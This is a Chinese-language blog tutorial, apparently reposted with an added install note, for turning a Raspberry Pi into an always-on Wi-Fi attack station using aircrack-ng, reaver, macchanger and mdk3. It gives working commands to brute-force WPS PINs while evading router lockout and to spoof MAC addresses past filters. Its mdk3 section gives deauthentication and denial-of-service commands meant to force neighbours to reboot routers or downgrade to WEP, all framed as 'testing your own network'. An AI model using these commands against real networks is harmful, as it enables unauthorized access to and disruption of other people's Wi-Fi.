"实际上本文适用于其他Linux/Unix-like 系统“
著作本文之目的是在于学习和探测自己的无线网络安全,如使用于其他目的皆与我无关,安全是双刃剑,可守亦可攻。
通常我们都会使用家庭无线路由,使得无线设备可以连网,但是隔墙有耳,无线的特性也决定了他人可以进行连接,因此我们需要诊断自己的无线是否安全。传统上,我们使用pc,装个CDLinux或者Benni,再或者巨无霸级别的BlackTrack,这会占用一台PC,并且不得不忍受睡前检测自己安全,睡醒后检测到一半,然后要关机切换回工作系统。
所以今天的目的就是要让你摆脱束缚,使用Raspberry Pi作为无线检测基地,24小时自动帮你检查你的无线安全性,文章会涉及Raspberry Pi下安装使用Reaver和Aircrack-ng,以及在WPS PIN时的一些问题,另外涉及到跑包解码部分会在后续补全。下面就开始说一下:
检测目的:检测自己家的无线安全性
检测手段:WPS 计算、WPA-PSK反解、匿名攻击
检测平台:
1 Raspberry Pi 512M/256M
2 2张 USB WIFI Card,我的 AR9721 芯片和Realtek任意网卡
3 Raspbian OS
检测步骤:
一, 软件的准备
1 Aircrack-ng
tar zxvf aircrack-ng-1.1.tar.gz
但是这个地址似乎被国家防火墙给OOXX,你需要想点办法才可以。
apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark
cd aircrack-ng-1.1
vi common.mak
在最后几行看到如下
CFLAGS ?= -g -W -Wall -Werror -O3
删除 "-Werror",否则编译会不通过
保存后退出,然后
make && sudo make install
2 Reaver 1.4
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure && make && sudo make install
3 [非必须软件] macchanger
sudo apt-get insall -y macchanger
作用是保护我们自己,更改我们自己的网卡MAC。另外一个用途是,我们的无线路由有MAC地址绑定,我们改成它正常客户端的MAC就可以进行探测
二 无线网卡的选择
要检测无线安全性,必须要求无线网卡能进入混杂模式,这种模式可以接受所有的无线信号,符合这种要求的网卡一般都是有特定芯片。例如常见的所谓 8187网卡等等,我这里选用的是 Atheros 9271 ,原因有两点:
1 Atheros 92XX 芯片性能不错,Apple Mac Book Air / Pro 之前就是 Atheros 9280,而我的笔记本也是 AR9280。这网卡的好处不单可以接收无线信号,还可以做热点,将接收的无线网路再次分发,也就是说电脑就能实现无线桥接。
2 驱动简单,无bug。Raspberry Pi系统就有 AR 9XXX 的驱动,插上网卡就可以驱动,也没有兼容问题。
另外,我在硬件需求里,也提到过要2张USB网卡,其中一个必须是可以进入混杂模式的无线网卡(本例中是 Atheros 9271),另一张就随便一个便宜的无线网卡,属于非必须,原因是这第二张无线网卡仅仅是提供给我们远程连接用的。我想你更希望,一边用AirPlay在RaspBerry Pi上看高清,一边让它后台帮你侦测安全,第二张网卡的作用就是AirPlay用和远程控制用,你也可以使用自带的有线网卡。
在这一节,除了要购买好网卡外,插入到raspberry后,你还需要注意无线网卡是哪一个名称,例如我的
ifconfig -a
eth0: ..................................
.......................
wlan0 : ...................................
.......................
wlan1:...................
................
Linux不太好的地方是,对驱动使用通用名称而非显示驱动名称,所以你只能看看Mac 地址来区分wlan0 wlan1各自对应,或者你拔掉一个网卡,看看序号变化。另外也可使用命令 " lsusb "来看看。不在今天的讨论之内。
这里假定: wlan0 是用于ssh 连接,进行远程控制的网卡; wlan1 对应 Atheros 9271网卡,用了进行安全侦听。
三 检测无线安全
1 扫描无线网路
废话一句:最好你能 apt-get install screen ,这样你就可以在关闭远程连接时,RaspBerry Pi继续工作,此软件为非必须。
由于我将raspberry打开了root用户,所以我直接使用root操作,如果你也想减少麻烦,建议也直接切换到root (可以先在普通用户模式下 sudo passwd root ,给root改密码,然后你就可以直接 " su - ",切换)。
1) 命令
airmon-ng start wlan1
这将会产生一个新的网络接口 mon0 , 这表示要在wlan1上开始无线侦听啦,这时你可以通过 mon0 接受周围任何无线数据包。
2) 命令
airodump-ng mon0
将会得到一个列表(这张列表其实还有后半部分,未列出)
CH 3 ][ Elapsed: 23 mins ][ 2013-05-12 22:35
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
18:64:C7:1E:2E:6f -70 1519 19 0 11 54 WPA2 CCMP PSK China
17:E6:E4:F2:32:B6 -75 70 85 0 6 54e. WPA2 CCMP PSK steve
8a:21:0A:9C:D9:57 -78 451 1 0 6 54e WPA2 CCMP MGT MERCU
8c:E8:73:31:56:99 -81 442 1 0 6 54e. WPA2 CCMP PSK xiux
98:83:45:4A:FE:66 -83 526 230 0 6 54e. WPA2 CCMP PSK Re
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
18:64:C7:1E:2E:6f -70 1519 19 0 11 54 WPA2 CCMP PSK China
17:E6:E4:F2:32:B6 -75 70 85 0 6 54e. WPA2 CCMP PSK steve
8a:21:0A:9C:D9:57 -78 451 1 0 6 54e WPA2 CCMP MGT MERCU
8c:E8:73:31:56:99 -81 442 1 0 6 54e. WPA2 CCMP PSK xiux
98:83:45:4A:FE:66 -83 526 230 0 6 54e. WPA2 CCMP PSK Re
注意看这张列表,列表中显示了你周边无线的相关信息。注意看 MB 这一列,显示为" 54 "、"54e. "等等,这表示了无线当前的速率模式以及WPS开启状况,我自己的路由器是 "steve",注意看,”54e“和” 54e. “是不同的,多了一个 点,这个点表示开启了 wps模式。所以我们下面就进行wps的探测,在这里我们要记住SSID对应的MAC地址,此后我们会针对MAC地址进行攻击和探测。
或者,你额外进行一个操作,扫描 wps 专用命令 wash :
wash -i mon0 -n 5 -C -s
这表示使用 mon0 界面监听周围wps信号,对每个无线点进行5个包探测, -C 表示忽略存在错误包的频道, -s 就是扫描 scan。会得到如下:
root@xbmc:/home/pi# wash -i mon0 -n 5 -C -s
Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
BSSID Channel RSSI WPS Version WPS Locked ESSID
---------------------------------------------------------------------------------------------------------------
3C:D1:77:3E:79:5c 1 -62 1.0 No Jasom
aC:63:BF:75:80:7b 1 -63 1.0 No MERCURY
a8:61:BF:75:80:33 1 -62 1.0 No MERCURY
78:83:45:4A:FE:ae 6 -74 1.0 No Rem
cC:E8:73:31:56:5f 6 -82 1.0 No xiu
bC:17:2F:41:99:F8 6 -82 1.0 No TP-LINK_
58:64:C7:1E:2E:b2 11 -77 1.0 No ChinaNet-
d2:54:99:55:A7:e9 11 -72 1.0 No ChinaNet-
eC:21:0A:9C:D9:c5 6 -79 1.0 No MERCURY_
Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
BSSID Channel RSSI WPS Version WPS Locked ESSID
---------------------------------------------------------------------------------------------------------------
3C:D1:77:3E:79:5c 1 -62 1.0 No Jasom
aC:63:BF:75:80:7b 1 -63 1.0 No MERCURY
a8:61:BF:75:80:33 1 -62 1.0 No MERCURY
78:83:45:4A:FE:ae 6 -74 1.0 No Rem
cC:E8:73:31:56:5f 6 -82 1.0 No xiu
bC:17:2F:41:99:F8 6 -82 1.0 No TP-LINK_
58:64:C7:1E:2E:b2 11 -77 1.0 No ChinaNet-
d2:54:99:55:A7:e9 11 -72 1.0 No ChinaNet-
eC:21:0A:9C:D9:c5 6 -79 1.0 No MERCURY_
这样就一目了然的看到 WPS 那里都是 1.0,而且WPS Locked 是NO。这就是我们接下来要做的事情了。
3)WPS 探测破解
3.1) 记住:保护自己,在操作前,使用 macchanger 或者系统自带的ifconfig。
macchanger -m aa:bb:cc:dd:ee:ff wlan1
命令的意思是,强制更改wlan1的MAC地址为 aa:bb:cc:dd:ee:ff ,如果路由器限制了MAC,你就将此处的MAC改成可以正常访问的。有mac限制的wifi通常都是由自己客户端连接的,因此你要有耐心使用 airodump-ng mon0 (也即是上面 2种提到)去看底下的客户端列表。因此路由器限定MAC并不安全。
你也可能喜欢:
macchanger -r wlan1
这表示把wlan1 改成随机的MAC,这样就不担心路由器的封锁。
3.2) 接下来正式开始破解WPS的PIN
从
reaver -i mon0 -b 00:01:02:03:04:05 -vv -S -a
其中 -b 后面的MAC就是你要破解的无线的MAC,然后你就可以让raspberry自己搞定。
-vv 是查看详细信息的,等你熟练了之后,你就可以使用 -v ,这样就简单了。通常,遇到问题才会使用 -vv 。
得到下面:
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Restored previous session
[+] Waiting for beacon from 18:17:2F:54:87:f3
[+] Associated with EC:17:2F:54:87:7C (ESSID: Steve)
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54633339
[+] Trying pin 54634442
[+] Trying pin 54635555
[+] 90.95% complete @ 2013-05-11 20:52:06 (8 seconds/pin)
[+] Trying pin 54635555
[+] Trying pin 54636668
[+] Trying pin 54637771
[+] Trying pin 54637771
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Restored previous session
[+] Waiting for beacon from 18:17:2F:54:87:f3
[+] Associated with EC:17:2F:54:87:7C (ESSID: Steve)
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54633339
[+] Trying pin 54634442
[+] Trying pin 54635555
[+] 90.95% complete @ 2013-05-11 20:52:06 (8 seconds/pin)
[+] Trying pin 54635555
[+] Trying pin 54636668
[+] Trying pin 54637771
[+] Trying pin 54637771
3.4)可能遇到的问题
如果只是几条命令这么简单,可能我这文章与其他人就无异了,这里要说的是探测过程中可能遇到的状况。
a. reaver 命令出错中断了,我的破解进度怎么办
这个你不用担心,reaver是实时保存进度到 /usr/local/etc/reaver/ 目录下,如果你查看你会发现文件使用 mac地址.wpc 格式存放,下一次你只要是针对此mac的破解将会自动读取该文档,所以你可以在任何时候中断。
b. reaver 提示” Failed Associated with XX:XX:XX:XX:XX:XX "
这表示你无法连接到所选的wifi ,可能是信号问题,可能是对方被你给PIN死了,也可能是对方限制了MAC地址。解决方案:
*针对信号,这个神都解决不了,除非换天线
*路由PIN死了,但是可能路由上网还通,因此你虽然连接不上,但是不影响原来已经连接的。所以这种情况就要使用大招: mdk3 攻击,强制使路由器处于假死,迫使主人重启路由器。至于mdk3的使用,你可以跳到文章后面阅读,或者本页搜索 mdk3攻击 。
*对方限制了MAC地址,这个我在前面macchanger中已经提到,HOHO有备而来哟。
c. reaver 破解到 99.99%以后就无限循环了
这个问题比较复杂,多半是因为漏PIN了 ,网络上流传可以使用 -n 来解决,但是也不尽然,如果PIN的时候网络不好,你PIN了一组数字,结果服务器不回复,reaver就认为那组数字是错误的,实际上是因为你和路由间信号不好导致回复丢失了。。。。。
首先,如果你不幸到了99.99%无限循环,那就要去手动修改 /usr/local/etc/reaver/mac地址.wpc,可以看前三行,修改第二行为000,强制重新从90%开始计算。关于wpc文件,将会在后面进行解释。
如果你仅仅是临时测试PIN进度,可以使用
reaver -i mon0 -b 00:01:02:03:04:05 -vv -n -a -p 5463
此处5463是你99.99%循环时那组数字的前四位。这个临时模式的破解进度是无法保存的,需要注意。如果需要实时保存进度,只能修改上面提到的wpc文件。
其次,使用 -vv 看看有没有出错,例如我发现我的就一直提示:
[!] WPS transaction failed (code: 0x03), re-trying last pin
或者
[!] WPS transaction failed (code: 0x02), re-trying last pin
这或许因为对方路由器限定了PIN的次数,过于频繁就会拒绝我们的探测,因此我们修改一下参数:
reaver -i mon0 -b 00:01:02:03:04:05 -vv -S -N -L -d 60 -r 3:15 -T .5 -x 360
好吧,这下参数变长了好多,其实很简单:
-L 就是忽略路由锁定
-d 60 就是发一次等1分钟,降低我们的探测频率,这相当有用,尽管速度降了下来但是更精准了。
-r 3:15是一个PIN失败后尝试3次,每次间隔15秒。
-T .5 默认是 0.1 ,这是说多久没有收到无线路由的回馈算PIN失败。改大一点可以弥补信号冲突、衰减造成的延迟大的问题。
-x 360 ,当同PIN10次失败后,reaver就进入休眠,时间10分钟,这样可以让路由器恢复一下,利于我们继续PIN!!
这样一来,就不再提示错误了,偶尔也会有一两个,但是因为可以重试所以准确率提高。
d reaver的时候总是要从123456789开始,有没有捷径可以走?
当然有捷径,只是不是十分靠谱,在进行动作前 ,查阅 http://mac-pin.456vv.net/ 针对你要探测的MAC进行查询,可以使用MAC前半部查询,得到一个近似值,然后你就使用前面提到的临时命令看看是否会直接就到90%,如果是,表示前4位是正确的。
然后,修改wpc文件,第一行为 那四位,第三行为1 。然后享受飞跃的感觉。
如果你要破解的时中国电信 ChinaNet-xxYn的路由器,可以从网上下载一个 “中国电信路由光猫PIN计算”的excel文档,里面也可能极不靠谱的粗略计算一下前四位。虽然极不靠谱,但是在我的尝试中还不错。
到此为止,我们的WPS探测就告一段落。接下来要说的是,没有开放WPS的路由怎么办?
4 WPA /WPA 2 加密的路由
这个只能跑包解决,也就是说,我们只能探测握手包,就是密码认证的握手包。我会抽时间补全。
附记:
mdk3攻击
我不想将这个写太详细,因为危害极大,但是技术始终是中立,看用的人如何。
mdk3攻击的目的
1 迫使路由死机,人为重启路由器。
这多半是因为我们探测是路由被探测死掉,拒绝我们的探测,需要让人重启,但是路由又不归我们控制,这时mdk3就让路由下线,那么人就不得不重启路由。亲测90%情况下有效
2 迫使对方更换密码加密方式
对方路由使用了 wpa/wpa2 加密,没有Wps,跑包又无效,怎么办,我们就使用mdk3进行攻击,迫使对方客户端全部掉线,直到更换为wep加密方式,可以秒破。你肯定会问成功概率,我能说的就是,概率比较低,主要原因是,操作路由的人发现wpa无法认证通常都是重启路由了,因此你需要有耐心的让raspberry 24小时不断骚扰,过一周后就可能对方变更了,我只成功过一次。这是在跑包无奈下的选择。
3 假造很多假的SSID
这种就是无线骚扰,要说有啥用途,第一就是让人家不得安生,那么多ID塞满周边,无从选择,因为ID都差不多。第二,就是人家会选错,使用正确的密码认证。我没有这么用过。
列绝了以上3个作用,下面就是实践:
安装:
修改Makefile
将 LINKFLAGS = -lpthread
修改为 LINKFLAGS = -pthread (去掉l )
make && sudo make install
1 mdk3 mon0 a -a 路由器MAC #迫使主人重启路由
2 mdk3 mon0 g -t BSSID(例如ChinaNet-Hj4q,也即是wifi的名字) #此命令将会迫使路由器的WPA假死,直到主人更换为WEP。 !!!!危害极大
3 假SSID,这个我不说了
4 mdk3 mon0 d -b 文件名(文件名称中包含要攻击的MAC)-s 数字(发包速度) #此命令将会令AP的客户端全下线。用途是在你抓取wpa认证握手包时,强制他们重新认证。 !!!!危害超级大,如果使用不当会导致周围所有无线客户端都掉线!!!!!!!
from http://bao3.blogspot.com/2013/05/raspberry-pi.html
---------------
树莓派下安装aircrack-ng
树莓派Pi3 B debian环境
- (需要以管理员身份运行 su root 输入密码进入管理员身份)
安装依赖包
1
2
3
4
5
6
7
8
9
10
11
12
sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion ethtool
sudo apt-get install -y libnl-3-200 libnl-3-dev libnl-genl-3-dev libnl-genl-3-200
安装aircarck-ng
svn co http://svn.aircrack-ng.org/trunk/aircrack-ng
cd aircrack-ng/
make
sudo make install
注:还提示了Run 'airodump-ng-oui-update' as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required).
sudo airodump-ng-oui-update
安装reaver
1
2
3
4
5
6
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install
注:
以上两个资源包都可以在这里找到:百度网盘分享
如果安装成功后,会有airmon-ng
,airodump-ng
,reaver
等命令可用。